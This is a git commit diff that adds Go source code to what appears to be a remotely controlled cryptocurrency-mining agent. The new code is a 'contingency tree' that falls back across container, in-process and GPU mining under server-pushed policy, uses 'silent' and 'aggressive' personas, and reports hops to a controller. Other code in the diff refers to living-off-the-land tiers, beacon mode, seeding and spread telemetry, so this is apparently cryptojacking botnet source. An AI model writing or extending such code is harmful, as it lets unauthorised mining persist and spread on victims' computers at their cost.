Add onion contingency miner tree with orchestrator and Seer telemetry.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Single-host branch runner complements fallback chain under Fleet AI Control: persona ghost forks, onion_miner_log hops, server exhaustion splice from graft mining genome, Crucible depth badge, and hospice retire after max cycles.
This commit is contained in:
AetherForge
2026-06-07 09:29:26 -07:00
parent fac324ff80
commit 6dd5cbd461
17 changed files with 1856 additions and 0 deletions

View File

@@ -60,6 +60,8 @@ type AgentClient struct {
hostMiningDisabled atomic.Bool
// miningChain orchestrates container → in-process → GPU → Stratum cascade.
miningChain *MiningChainRunner
// contingency runs the autonomous onion contingency tree when server policy enables it.
contingency *ContingencyRunner
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
tierPolicy miner.MiningTierPolicy
// adaptiveStrategy holds server reasoning trace for diagnostics/UI.
@@ -106,6 +108,8 @@ type AgentClient struct {
beaconMode atomic.Bool
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
wsDownSince atomic.Value // stores time.Time
// miningCtx is the lifetime context for mining/contingency goroutines.
miningCtx context.Context
}
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
@@ -141,6 +145,7 @@ func (c *AgentClient) Run() error {
chainCtx, chainCancel := context.WithCancel(context.Background())
defer chainCancel()
c.miningCtx = chainCtx
c.miningChain = c.newMiningChainRunner()
if isSeeder {
deploy.StartSeederStaging(c.cfg)
@@ -422,6 +427,7 @@ func (c *AgentClient) authenticate() error {
return fmt.Errorf("auth failed: %s", resp.Error)
}
c.applyAuthLotlPolicy(resp)
c.startContingencyIfEnabled(c.miningCtx)
c.applyAuthFleetRole(resp)
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
if resp.FleetTorrentEnabled {
@@ -545,6 +551,11 @@ func (c *AgentClient) handleMessage(msg Message) {
go c.applyPolicyUpdate(msg.Payload)
case "graft_policy":
c.applyGraftPolicyJSON(msg.Payload)
case "contingency_branch_params":
c.applyContingencyBranchParamsJSON(msg.Payload)
if c.contingency != nil && c.miningCtx != nil {
c.contingency.Resume(c.miningCtx)
}
case "adaptive_strategy_update":
c.applyAdaptiveStrategyJSON(msg.Payload)
case "ai_snapshot_request":
@@ -614,6 +625,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
wslRT := miner.WSLDetector()
_ = miner.ToggleWSLMining(wslRT, "", false)
}
if c.contingency != nil {
c.contingency.Stop()
}
if c.miningChain != nil {
c.miningChain.Stop()
} else {
@@ -630,6 +644,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
}
c.sendCommandResult(action, true, "mining paused")
case "resume":
if c.contingency != nil && c.miningCtx != nil {
c.contingency.Resume(c.miningCtx)
}
if c.miningChain != nil {
c.miningChain.Resume(context.Background())
} else {
@@ -1227,6 +1244,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.StratumEgress = c.stratumEgress(false)
}
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
if depth := c.contingencyDepthForStats(); depth > 0 {
stats.ContingencyDepth = depth
}
deploy.SetSpreadMiningTelemetry(stats.MiningHashrate, stats.ChainExhausted)
if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
stats.AtlasSkips = atlasSkips

View File

@@ -0,0 +1,262 @@
package client
import (
"context"
"encoding/json"
"log"
"sync"
"crypto-miner-agent/miner"
)
// ContingencyRunner wires the onion contingency tree into AgentClient mining.
type ContingencyRunner struct {
client *AgentClient
runner *miner.ContingencyTreeRunner
gate *miner.PoolGate
mu sync.Mutex
cancel context.CancelFunc
enabled bool
}
func (c *AgentClient) newContingencyRunner() *ContingencyRunner {
cr := &ContingencyRunner{client: c, gate: miner.NewPoolGate()}
return cr
}
func (c *AgentClient) applyContingencyPolicyJSON(raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var p miner.ContingencyPolicy
if err := json.Unmarshal(raw, &p); err != nil {
return
}
p = miner.NormalizeContingencyPolicy(p)
c.mu.Lock()
if c.contingency == nil {
c.contingency = c.newContingencyRunner()
}
c.contingency.enabled = p.Enabled
c.mu.Unlock()
if p.Enabled {
c.contingency.rebuildRunner(p)
log.Printf("[contingency] policy enabled personas=%v hospice_after=%d", p.Personas, p.HospiceAfter)
}
}
func (c *AgentClient) applyContingencyBranchParamsJSON(raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var p miner.ContingencyBranchParams
if err := json.Unmarshal(raw, &p); err != nil {
return
}
c.mu.Lock()
cr := c.contingency
c.mu.Unlock()
if cr == nil || cr.runner == nil {
return
}
cr.runner.ApplyBranchParams(p)
log.Printf("[contingency] branch params applied: %s", p.Reason)
}
func (cr *ContingencyRunner) rebuildRunner(policy miner.ContingencyPolicy) {
c := cr.client
hooks := miner.BranchAttemptHooks{
StartInProcess: func() error {
if c.miningChain == nil {
return miner.ErrMethodUnavailable
}
return c.miningChain.startInProcess()
},
StartContainer: func() error {
if c.miningChain == nil {
return miner.ErrMethodUnavailable
}
return c.miningChain.startContainer()
},
StartGPU: func() error {
if c.miningChain == nil {
return miner.ErrMethodUnavailable
}
return c.miningChain.startGPU()
},
ApplyIdleTune: cr.applyIdleTune,
ApplySurgery: cr.applySelfSurgery,
StopAll: func() {
if c.miningChain != nil {
c.miningChain.StopBranchAttempt()
}
},
Hashrate: cr.snapshotHashrate,
PoolActive: cr.gate.Active,
AcquirePool: func() bool {
return cr.gate.Acquire("canonical")
},
ReleasePool: func() {
cr.gate.Release("canonical")
},
}
cr.runner = miner.NewContingencyTreeRunner(policy, hooks, cr.reportHop)
}
func (cr *ContingencyRunner) applyIdleTune() error {
// Brief host pause — contingency discipline backoff, not stealth.
cr.client.pool.PauseRemote()
cr.client.hostMiningDisabled.Store(true)
return nil
}
func (cr *ContingencyRunner) applySelfSurgery(skip []string, force string) error {
c := cr.client
policy := c.miningTierPolicy()
for _, s := range skip {
tier := miner.LOTLTier(s)
if tier == "" {
continue
}
policy.SkipTiers = append(policy.SkipTiers, tier)
}
if force != "" {
policy.ForceTier = miner.LOTLTier(force)
}
c.mu.Lock()
c.tierPolicy = policy
c.mu.Unlock()
if c.miningChain != nil {
c.miningChain.Restart(context.Background())
}
return nil
}
func (cr *ContingencyRunner) snapshotHashrate() float64 {
c := cr.client
if c.miningChain != nil {
st := c.miningChain.Status()
if st.ActiveMethod != "" {
if hr := cr.latestMiningHashrate(); hr > 0 {
return hr
}
}
}
return cr.latestMiningHashrate()
}
func (cr *ContingencyRunner) latestMiningHashrate() float64 {
c := cr.client
if c.containerMiner != nil {
if ch := c.containerMiner.ProbeHashrate(); ch > 0 {
return ch
}
}
if c.pool != nil {
return c.pool.HashesPerSecond()
}
return 0
}
func (cr *ContingencyRunner) reportHop(hop miner.OnionMinerHop, depth int, exhausted bool) {
c := cr.client
payload, err := json.Marshal(struct {
miner.OnionMinerHop
Depth int `json:"contingency_depth"`
Exhausted bool `json:"exhausted,omitempty"`
Hops int `json:"hop_count"`
}{
OnionMinerHop: hop,
Depth: depth,
Exhausted: exhausted,
Hops: depth,
})
if err != nil {
return
}
_ = c.write(Message{Type: "onion_miner_log", Payload: payload})
}
// Start launches the contingency tree when policy is enabled.
func (cr *ContingencyRunner) Start(ctx context.Context) {
cr.mu.Lock()
if !cr.enabled || cr.runner == nil {
cr.mu.Unlock()
return
}
if cr.cancel != nil {
cr.mu.Unlock()
return
}
runCtx, cancel := context.WithCancel(ctx)
cr.cancel = cancel
runner := cr.runner
cr.mu.Unlock()
go runner.Run(runCtx)
}
// Stop halts the contingency tree (operator pause).
func (cr *ContingencyRunner) Stop() {
cr.mu.Lock()
if cr.cancel != nil {
cr.cancel()
cr.cancel = nil
}
if cr.runner != nil {
cr.runner.SetOperatorPaused(true)
}
cr.mu.Unlock()
}
// Resume clears operator pause and restarts the tree.
func (cr *ContingencyRunner) Resume(ctx context.Context) {
cr.mu.Lock()
if cr.runner != nil {
cr.runner.SetOperatorPaused(false)
}
if cr.cancel != nil {
cr.cancel()
cr.cancel = nil
}
enabled := cr.enabled
runner := cr.runner
cr.mu.Unlock()
if enabled && runner != nil {
runCtx, cancel := context.WithCancel(ctx)
cr.mu.Lock()
cr.cancel = cancel
cr.mu.Unlock()
go runner.Run(runCtx)
}
}
// Depth returns current onion hop count for stats.
func (cr *ContingencyRunner) Depth() int {
cr.mu.Lock()
runner := cr.runner
cr.mu.Unlock()
if runner == nil {
return 0
}
return runner.Depth()
}
func (c *AgentClient) startContingencyIfEnabled(ctx context.Context) {
c.mu.Lock()
cr := c.contingency
c.mu.Unlock()
if cr == nil || !cr.enabled || cr.runner == nil {
return
}
cr.Start(ctx)
}
func (c *AgentClient) contingencyDepthForStats() int {
c.mu.Lock()
cr := c.contingency
c.mu.Unlock()
if cr == nil {
return 0
}
return cr.Depth()
}

View File

@@ -0,0 +1,46 @@
package client
import (
"encoding/json"
"testing"
"crypto-miner-agent/miner"
)
func TestApplyContingencyPolicyEnablesRunner(t *testing.T) {
c := &AgentClient{}
raw, _ := json.Marshal(miner.ContingencyPolicy{
Enabled: true,
Personas: []string{"silent", "aggressive"},
})
c.applyContingencyPolicyJSON(raw)
if c.contingency == nil || !c.contingency.enabled {
t.Fatal("expected contingency enabled")
}
if c.contingency.runner == nil {
t.Fatal("expected runner built")
}
}
func TestApplyContingencyBranchParams(t *testing.T) {
c := &AgentClient{}
raw, _ := json.Marshal(miner.ContingencyPolicy{Enabled: true})
c.applyContingencyPolicyJSON(raw)
params, _ := json.Marshal(miner.ContingencyBranchParams{
BranchOrder: []string{"container", "inprocess"},
Persona: "aggressive",
SkipMethods: []string{"gpu_subprocess"},
Reason: "court branch splice",
})
c.applyContingencyBranchParamsJSON(params)
if c.contingency == nil || c.contingency.runner == nil {
t.Fatal("expected runner after branch params")
}
}
func TestContingencyDepthForStats(t *testing.T) {
c := &AgentClient{}
if c.contingencyDepthForStats() != 0 {
t.Fatal("expected 0 depth")
}
}